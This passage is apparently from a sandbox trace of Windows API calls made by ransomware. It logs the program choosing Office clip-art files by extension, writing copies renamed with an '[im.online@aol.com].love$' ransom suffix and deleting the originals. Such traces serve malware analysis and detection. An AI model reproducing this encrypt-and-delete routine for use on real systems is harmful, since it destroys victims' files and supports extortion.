returned 4 [0229.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.105] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.105] lstrlenW (lpString="AN04269_.WMF") returned 12 [0229.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0229.105] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2016) returned 1 [0229.105] CloseHandle (hObject=0x390) returned 1 [0229.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0229.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0229.106] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.107] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.110] GetLastError () returned 0x0 [0229.110] ReadFile (in: hFile=0x390, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x7e0, lpOverlapped=0x0) returned 1 [0229.113] WriteFile (in: hFile=0x404, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0229.114] ReadFile (in: hFile=0x390, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.114] WriteFile (in: hFile=0x404, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.114] SetEndOfFile (hFile=0x404) returned 1 [0229.115] CloseHandle (hObject=0x404) returned 1 [0229.116] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.116] SetEndOfFile (hFile=0x390) returned 1 [0229.121] CloseHandle (hObject=0x390) returned 1 [0229.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0229.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.123] lstrlenW (lpString=".doc") returned 4 [0229.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.123] lstrlenW (lpString=".docx") returned 5 [0229.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.123] lstrlenW (lpString=".pdf") returned 4 [0229.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.124] lstrlenW (lpString=".xls") returned 4 [0229.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.124] lstrlenW (lpString=".xlsx") returned 5 [0229.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.124] lstrlenW (lpString=".ppt") returned 4 [0229.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.124] lstrlenW (lpString=".zip") returned 4 [0229.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.124] lstrlenW (lpString=".rar") returned 4 [0229.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.124] lstrlenW (lpString=".bz2") returned 4 [0229.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.124] lstrlenW (lpString=".7z") returned 3 [0229.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.124] lstrlenW (lpString=".dbf") returned 4 [0229.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.125] lstrlenW (lpString=".1cd") returned 4 [0229.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.125] lstrlenW (lpString=".jpg") returned 4 [0229.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.125] lstrlenW (lpString=".doc") returned 4 [0229.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.125] lstrlenW (lpString=".docx") returned 5 [0229.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.125] lstrlenW (lpString=".pdf") returned 4 [0229.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.125] lstrlenW (lpString=".xls") returned 4 [0229.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.125] lstrlenW (lpString=".xlsx") returned 5 [0229.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.125] lstrlenW (lpString=".ppt") returned 4 [0229.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.125] lstrlenW (lpString=".zip") returned 4 [0229.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.125] lstrlenW (lpString=".rar") returned 4 [0229.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.125] lstrlenW (lpString=".bz2") returned 4 [0229.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.125] lstrlenW (lpString=".7z") returned 3 [0229.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.126] lstrlenW (lpString=".dbf") returned 4 [0229.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.126] lstrlenW (lpString=".1cd") returned 4 [0229.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0229.126] lstrlenW (lpString=".jpg") returned 4 [0229.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.126] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.126] lstrlenW (lpString="AN04323_.WMF") returned 12 [0229.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0229.127] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2492) returned 1 [0229.127] CloseHandle (hObject=0x390) returned 1 [0229.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0229.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0229.128] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.128] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.129] GetLastError () returned 0x0 [0229.129] ReadFile (in: hFile=0x390, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0229.132] WriteFile (in: hFile=0x404, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0229.133] ReadFile (in: hFile=0x390, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.133] WriteFile (in: hFile=0x404, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.133] SetEndOfFile (hFile=0x404) returned 1 [0229.133] CloseHandle (hObject=0x404) returned 1 [0229.137] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.138] SetEndOfFile (hFile=0x390) returned 1 [0229.351] CloseHandle (hObject=0x390) returned 1 [0229.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0229.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.353] lstrlenW (lpString=".doc") returned 4 [0229.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.353] lstrlenW (lpString=".docx") returned 5 [0229.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.353] lstrlenW (lpString=".pdf") returned 4 [0229.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.353] lstrlenW (lpString=".xls") returned 4 [0229.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.353] lstrlenW (lpString=".xlsx") returned 5 [0229.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.353] lstrlenW (lpString=".ppt") returned 4 [0229.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.354] lstrlenW (lpString=".zip") returned 4 [0229.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.354] lstrlenW (lpString=".rar") returned 4 [0229.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.354] lstrlenW (lpString=".bz2") returned 4 [0229.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.354] lstrlenW (lpString=".7z") returned 3 [0229.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.354] lstrlenW (lpString=".dbf") returned 4 [0229.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.354] lstrlenW (lpString=".1cd") returned 4 [0229.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.354] lstrlenW (lpString=".jpg") returned 4 [0229.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.354] lstrlenW (lpString=".doc") returned 4 [0229.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.354] lstrlenW (lpString=".docx") returned 5 [0229.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.354] lstrlenW (lpString=".pdf") returned 4 [0229.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.354] lstrlenW (lpString=".xls") returned 4 [0229.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.355] lstrlenW (lpString=".xlsx") returned 5 [0229.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.355] lstrlenW (lpString=".ppt") returned 4 [0229.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.355] lstrlenW (lpString=".zip") returned 4 [0229.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.355] lstrlenW (lpString=".rar") returned 4 [0229.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.355] lstrlenW (lpString=".bz2") returned 4 [0229.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.355] lstrlenW (lpString=".7z") returned 3 [0229.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.355] lstrlenW (lpString=".dbf") returned 4 [0229.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.355] lstrlenW (lpString=".1cd") returned 4 [0229.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0229.355] lstrlenW (lpString=".jpg") returned 4 [0229.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.355] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.355] lstrlenW (lpString="AN04355_.WMF") returned 12 [0229.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0229.356] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3228) returned 1 [0229.356] CloseHandle (hObject=0x390) returned 1 [0229.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0229.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0229.357] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.357] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0229.358] GetLastError () returned 0x0 [0229.358] ReadFile (in: hFile=0x390, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0229.401] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xca0, lpOverlapped=0x0) returned 1 [0229.415] ReadFile (in: hFile=0x390, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.415] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.415] SetEndOfFile (hFile=0x45c) returned 1 [0229.421] CloseHandle (hObject=0x45c) returned 1 [0229.425] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.425] SetEndOfFile (hFile=0x390) returned 1 [0229.442] CloseHandle (hObject=0x390) returned 1 [0229.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0229.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.656] lstrlenW (lpString=".doc") returned 4 [0229.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.656] lstrlenW (lpString=".docx") returned 5 [0229.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.656] lstrlenW (lpString=".pdf") returned 4 [0229.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.656] lstrlenW (lpString=".xls") returned 4 [0229.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.656] lstrlenW (lpString=".xlsx") returned 5 [0229.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.656] lstrlenW (lpString=".ppt") returned 4 [0229.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.656] lstrlenW (lpString=".zip") returned 4 [0229.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.656] lstrlenW (lpString=".rar") returned 4 [0229.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.656] lstrlenW (lpString=".bz2") returned 4 [0229.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.656] lstrlenW (lpString=".7z") returned 3 [0229.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.656] lstrlenW (lpString=".dbf") returned 4 [0229.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.656] lstrlenW (lpString=".1cd") returned 4 [0229.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.656] lstrlenW (lpString=".jpg") returned 4 [0229.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.657] lstrlenW (lpString=".doc") returned 4 [0229.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.657] lstrlenW (lpString=".docx") returned 5 [0229.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.657] lstrlenW (lpString=".pdf") returned 4 [0229.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.657] lstrlenW (lpString=".xls") returned 4 [0229.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.657] lstrlenW (lpString=".xlsx") returned 5 [0229.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.657] lstrlenW (lpString=".ppt") returned 4 [0229.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.657] lstrlenW (lpString=".zip") returned 4 [0229.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.657] lstrlenW (lpString=".rar") returned 4 [0229.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.657] lstrlenW (lpString=".bz2") returned 4 [0229.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.657] lstrlenW (lpString=".7z") returned 3 [0229.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.657] lstrlenW (lpString=".dbf") returned 4 [0229.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.657] lstrlenW (lpString=".1cd") returned 4 [0229.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0229.657] lstrlenW (lpString=".jpg") returned 4 [0229.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.658] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.658] lstrlenW (lpString="BD00116_.WMF") returned 12 [0229.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 